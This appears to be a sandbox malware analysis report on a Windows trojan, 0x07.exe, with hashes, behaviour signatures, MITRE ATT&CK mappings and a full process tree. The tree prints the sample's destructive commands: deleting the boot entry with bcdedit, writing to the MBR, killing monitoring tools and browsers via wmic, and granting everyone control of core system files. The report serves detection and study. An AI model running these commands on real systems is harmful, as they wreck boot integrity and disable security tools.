6a3e1833f43f867e153935467c1a7c1f7f9c2c4b7b4c716a54f959989f091bf2

Resubmissions

16/03/2024, 15:20

240316-sq9desff3410

16/03/2024, 15:16

240316-sns9esdf2110

Analysis

max time kernel
117s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
16/03/2024, 15:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Trojan/0x07.exe
Size 247KB
Sample240316-sq9desff34
SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
MD5 733eb0ab951ae42a8d8cca413201e428
SHA1 640ffb3ee44eb86afaea92e6c5aa158a5d4aafd1
SHA512 c7cdf77aa881c5dbb2abf17913dbf645fe88e16fa11fa055392d36ccf936fc43050c48feb631e193fe044123a190f123d2d6ff12234c0ff7c8c7c6e290209d8f
SSDEEP 3072:xaWEHnqlm+0FEaJSq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMC+89+aPyXiwQ9M1:cWCMm8aMldk1cWQRNTBhz3Yz/qc9M1
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

bootkit discovery exploit persistence

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 25 IoCs

exploit

pid	Process
2656	icacls.exe
3088	icacls.exe
5100	icacls.exe
2200	icacls.exe
1492	icacls.exe
4080	icacls.exe
4264	takeown.exe
4396	takeown.exe
4436	icacls.exe
4832	icacls.exe
4352	takeown.exe
2604	takeown.exe
3208	takeown.exe
1136	takeown.exe
4440	takeown.exe
1840	icacls.exe
1976	takeown.exe
4744	takeown.exe
3648	icacls.exe
920	icacls.exe
3096	icacls.exe
756	takeown.exe
2216	takeown.exe
692	takeown.exe
4244	takeown.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	0x07.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	winconfig.exe

Executes dropped EXE 2 IoCs

pid	Process
1484	winconfig.exe
4564	DetectKey.exe

Modifies file permissions 1 TTPs 25 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
756	takeown.exe
920	icacls.exe
4436	icacls.exe
1136	takeown.exe
2604	takeown.exe
3088	icacls.exe
4396	takeown.exe
3096	icacls.exe
2656	icacls.exe
3208	takeown.exe
692	takeown.exe
1492	icacls.exe
3648	icacls.exe
5100	icacls.exe
4244	takeown.exe
2216	takeown.exe
4744	takeown.exe
4832	icacls.exe
4440	takeown.exe
4264	takeown.exe
1976	takeown.exe
1840	icacls.exe
2200	icacls.exe
4080	icacls.exe
4352	takeown.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
4308	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	0x07.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2072	0x07.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4688	WMIC.exe
Token: SeSecurityPrivilege	4688	WMIC.exe
Token: SeTakeOwnershipPrivilege	4688	WMIC.exe
Token: SeLoadDriverPrivilege	4688	WMIC.exe
Token: SeSystemProfilePrivilege	4688	WMIC.exe
Token: SeSystemtimePrivilege	4688	WMIC.exe
Token: SeProfSingleProcessPrivilege	4688	WMIC.exe
Token: SeIncBasePriorityPrivilege	4688	WMIC.exe
Token: SeCreatePagefilePrivilege	4688	WMIC.exe
Token: SeBackupPrivilege	4688	WMIC.exe
Token: SeRestorePrivilege	4688	WMIC.exe
Token: SeShutdownPrivilege	4688	WMIC.exe
Token: SeDebugPrivilege	4688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4688	WMIC.exe
Token: SeRemoteShutdownPrivilege	4688	WMIC.exe
Token: SeUndockPrivilege	4688	WMIC.exe
Token: SeManageVolumePrivilege	4688	WMIC.exe
Token: 33	4688	WMIC.exe
Token: 34	4688	WMIC.exe
Token: 35	4688	WMIC.exe
Token: 36	4688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4688	WMIC.exe
Token: SeSecurityPrivilege	4688	WMIC.exe
Token: SeTakeOwnershipPrivilege	4688	WMIC.exe
Token: SeLoadDriverPrivilege	4688	WMIC.exe
Token: SeSystemProfilePrivilege	4688	WMIC.exe
Token: SeSystemtimePrivilege	4688	WMIC.exe
Token: SeProfSingleProcessPrivilege	4688	WMIC.exe
Token: SeIncBasePriorityPrivilege	4688	WMIC.exe
Token: SeCreatePagefilePrivilege	4688	WMIC.exe
Token: SeBackupPrivilege	4688	WMIC.exe
Token: SeRestorePrivilege	4688	WMIC.exe
Token: SeShutdownPrivilege	4688	WMIC.exe
Token: SeDebugPrivilege	4688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4688	WMIC.exe
Token: SeRemoteShutdownPrivilege	4688	WMIC.exe
Token: SeUndockPrivilege	4688	WMIC.exe
Token: SeManageVolumePrivilege	4688	WMIC.exe
Token: 33	4688	WMIC.exe
Token: 34	4688	WMIC.exe
Token: 35	4688	WMIC.exe
Token: 36	4688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3144	WMIC.exe
Token: SeSecurityPrivilege	3144	WMIC.exe
Token: SeTakeOwnershipPrivilege	3144	WMIC.exe
Token: SeLoadDriverPrivilege	3144	WMIC.exe
Token: SeSystemProfilePrivilege	3144	WMIC.exe
Token: SeSystemtimePrivilege	3144	WMIC.exe
Token: SeProfSingleProcessPrivilege	3144	WMIC.exe
Token: SeIncBasePriorityPrivilege	3144	WMIC.exe
Token: SeCreatePagefilePrivilege	3144	WMIC.exe
Token: SeBackupPrivilege	3144	WMIC.exe
Token: SeRestorePrivilege	3144	WMIC.exe
Token: SeShutdownPrivilege	3144	WMIC.exe
Token: SeDebugPrivilege	3144	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3144	WMIC.exe
Token: SeRemoteShutdownPrivilege	3144	WMIC.exe
Token: SeUndockPrivilege	3144	WMIC.exe
Token: SeManageVolumePrivilege	3144	WMIC.exe
Token: 33	3144	WMIC.exe
Token: 34	3144	WMIC.exe
Token: 35	3144	WMIC.exe
Token: 36	3144	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3144	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 1484	2072	0x07.exe	103
PID 2072 wrote to memory of 1484	2072	0x07.exe	103
PID 2072 wrote to memory of 1484	2072	0x07.exe	103
PID 1484 wrote to memory of 2384	1484	winconfig.exe	104
PID 1484 wrote to memory of 2384	1484	winconfig.exe	104
PID 2384 wrote to memory of 4564	2384	cmd.exe	107
PID 2384 wrote to memory of 4564	2384	cmd.exe	107
PID 2384 wrote to memory of 4564	2384	cmd.exe	107
PID 2384 wrote to memory of 4308	2384	cmd.exe	109
PID 2384 wrote to memory of 4308	2384	cmd.exe	109
PID 2384 wrote to memory of 4688	2384	cmd.exe	110
PID 2384 wrote to memory of 4688	2384	cmd.exe	110
PID 2384 wrote to memory of 3144	2384	cmd.exe	111
PID 2384 wrote to memory of 3144	2384	cmd.exe	111
PID 2384 wrote to memory of 4064	2384	cmd.exe	112
PID 2384 wrote to memory of 4064	2384	cmd.exe	112
PID 2384 wrote to memory of 4576	2384	cmd.exe	113
PID 2384 wrote to memory of 4576	2384	cmd.exe	113
PID 2384 wrote to memory of 4604	2384	cmd.exe	116
PID 2384 wrote to memory of 4604	2384	cmd.exe	116
PID 2384 wrote to memory of 4080	2384	cmd.exe	117
PID 2384 wrote to memory of 4080	2384	cmd.exe	117
PID 2384 wrote to memory of 1824	2384	cmd.exe	118
PID 2384 wrote to memory of 1824	2384	cmd.exe	118
PID 2384 wrote to memory of 4196	2384	cmd.exe	119
PID 2384 wrote to memory of 4196	2384	cmd.exe	119
PID 2384 wrote to memory of 2584	2384	cmd.exe	121
PID 2384 wrote to memory of 2584	2384	cmd.exe	121
PID 2384 wrote to memory of 372	2384	cmd.exe	122
PID 2384 wrote to memory of 372	2384	cmd.exe	122
PID 2384 wrote to memory of 1076	2384	cmd.exe	123
PID 2384 wrote to memory of 1076	2384	cmd.exe	123
PID 2384 wrote to memory of 312	2384	cmd.exe	133
PID 2384 wrote to memory of 312	2384	cmd.exe	133
PID 2384 wrote to memory of 4768	2384	cmd.exe	125
PID 2384 wrote to memory of 4768	2384	cmd.exe	125
PID 2384 wrote to memory of 760	2384	cmd.exe	126
PID 2384 wrote to memory of 760	2384	cmd.exe	126
PID 2384 wrote to memory of 4740	2384	cmd.exe	127
PID 2384 wrote to memory of 4740	2384	cmd.exe	127
PID 2384 wrote to memory of 3048	2384	cmd.exe	128
PID 2384 wrote to memory of 3048	2384	cmd.exe	128
PID 2384 wrote to memory of 3836	2384	cmd.exe	139
PID 2384 wrote to memory of 3836	2384	cmd.exe	139
PID 2384 wrote to memory of 2248	2384	cmd.exe	130
PID 2384 wrote to memory of 2248	2384	cmd.exe	130
PID 2384 wrote to memory of 448	2384	cmd.exe	132
PID 2384 wrote to memory of 448	2384	cmd.exe	132
PID 2384 wrote to memory of 312	2384	cmd.exe	133
PID 2384 wrote to memory of 312	2384	cmd.exe	133
PID 2384 wrote to memory of 3356	2384	cmd.exe	134
PID 2384 wrote to memory of 3356	2384	cmd.exe	134
PID 2384 wrote to memory of 2088	2384	cmd.exe	135
PID 2384 wrote to memory of 2088	2384	cmd.exe	135
PID 2384 wrote to memory of 3800	2384	cmd.exe	136
PID 2384 wrote to memory of 3800	2384	cmd.exe	136
PID 2384 wrote to memory of 4084	2384	cmd.exe	137
PID 2384 wrote to memory of 4084	2384	cmd.exe	137
PID 2384 wrote to memory of 1000	2384	cmd.exe	138
PID 2384 wrote to memory of 1000	2384	cmd.exe	138
PID 2384 wrote to memory of 3836	2384	cmd.exe	139
PID 2384 wrote to memory of 3836	2384	cmd.exe	139
PID 2384 wrote to memory of 3016	2384	cmd.exe	140
PID 2384 wrote to memory of 3016	2384	cmd.exe	140

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"
1⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\Temp\winconfig.exe
  "C:\Windows\Temp\winconfig.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat C:\Windows\Temp\winconfig.exe"
    3⤵
    - Drops file in Drivers directory
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Users\Admin\AppData\Roaming\DetectKey.exe
      "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
      4⤵
      Executes dropped EXE
      PID:4564
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4308
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4688
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3144
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='mmc.exe' delete /nointeractive
      4⤵
      PID:4064
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='PartAssist.exe' delete /nointeractive
      4⤵
      PID:4576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='control.exe' delete /nointeractive
      4⤵
      PID:4604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:4080
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='Security Task Manager.exe' delete /nointeractive
      4⤵
      PID:1824
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
      4⤵
      PID:4196
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='CCleaner.exe' delete /nointeractive
      4⤵
      PID:2584
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp.exe' delete /nointeractive
      4⤵
      PID:372
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp64.exe' delete /nointeractive
      4⤵
      PID:1076
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='procexp64a.exe' delete /nointeractive
      4⤵
      PID:312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:4768
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='regedit.exe' delete /nointeractive
      4⤵
      PID:760
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='iexplore.exe' delete /nointeractive
      4⤵
      PID:4740
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='chrome.exe' delete /nointeractive
      4⤵
      PID:3048
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='firefox.exe' delete /nointeractive
      4⤵
      PID:3836
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='opera.exe' delete /nointeractive
      4⤵
      PID:2248
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='edge.exe' delete /nointeractive
      4⤵
      PID:448
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='msedge.exe' delete /nointeractive
      4⤵
      PID:312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='brave.exe' delete /nointeractive
      4⤵
      PID:3356
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='wmplayer.exe' delete /nointeractive
      4⤵
      PID:2088
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='notepad.exe' delete /nointeractive
      4⤵
      PID:3800
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='notepad++.exe' delete /nointeractive
      4⤵
      PID:4084
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:1000
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:3836
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:3016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:4848
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\taskmgr.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4440
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3208
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\winload.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4264
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\ntoskrnl.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:756
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\perfmon.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1136
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\resmon.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4244
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\logonui.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2216
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\taskkill.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1976
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\tasklist.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4396
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\tskill.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4352
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\system32\logonui.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:692
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Program Files\Process Hacker 2"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2604
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4744
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:2172
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:2204
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:3652
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:2432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4832
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3096
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3648
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3088
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1840
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2656
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='taskmgr.exe' delete /nointeractive
      4⤵
      PID:5056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='perfmon.exe' delete /nointeractive
      4⤵
      PID:4264
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='logonui.exe' delete /nointeractive
      4⤵
      PID:2680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where name='ProcessHacker.exe' delete /nointeractive
      4⤵
      PID:4404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:208
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
      4⤵
      PID:3324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:400
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
      4⤵
      PID:2604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4744
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
      4⤵
      PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3940
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
      4⤵
      PID:1472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4756
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
      4⤵
      PID:5008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3872
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
      4⤵
      PID:3652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3276
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
      4⤵
      PID:2588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:4436
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
      4⤵
      PID:2016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3116
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
      4⤵
      PID:1692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:3984
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
      4⤵
      PID:3088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo y"
      4⤵
      PID:5064
  - - C:\Windows\system32\cacls.exe
      cacls "C:\Windows\System32\drivers" /grant "everyone":F
      4⤵
      PID:1108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4080 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8
1⤵
PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A73A.bat

Path C:\Users\Admin\AppData\Local\Temp\A728.tmp\A739.tmp\A73A.bat
Size 5KB
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d
SSDEEP 96:Pk3/dXD/yNJon3/fnpEsUF26M/80UpY+SMMJ5zh07zfDR3SJN:W/lD/yNJon3/fnpEsUF26M/80UpY+SMo
MD5 SHA1 SHA512 SSDEEP

Submit Download

DetectKey.exe

Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
Size 87KB
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675
SSDEEP 1536:rnuU/W+3r/A/rkhMmnXPfE2SDcAzqsWjcduqZts:aUJ3s/whM52SNZuqZts
MD5 SHA1 SHA512 SSDEEP

Submit Download

DetectKey.exe

Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
Size 76KB
SHA256 d62af5baf48e4227736e586b039eac6b8cab2a118fced8d2738e271f343ce6d8
MD5 cb2d77ba014f0a9d55dd30799287a316
SHA1 f4c1f4846e8367d04a3a8c151ebc78ec2ecff71c
SHA512 e4ee6685057104bf7e41290842b310550325fc635d99cd0c1fd15a56dfcc85bafe845d5e923b1279c061f45bf40ecb770447d7c414729e40b5ec91f46c283eef
SSDEEP 1536:rnuU/W+3r/A/rkhMmnXPfE2SDcAzqsWjcdut:aUJ3s/whM52SNZut
MD5 SHA1 SHA512 SSDEEP

Submit Download

winconfig.exe

Path C:\Windows\Temp\winconfig.exe
Size 139KB
SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
MD5 11d457ee914f72a436fa4a8a8f8446dd
SHA1 d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA512 4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b
SSDEEP 3072:tq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMCE:tldk1cWQRNTBhz3YO
MD5 SHA1 SHA512 SSDEEP

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads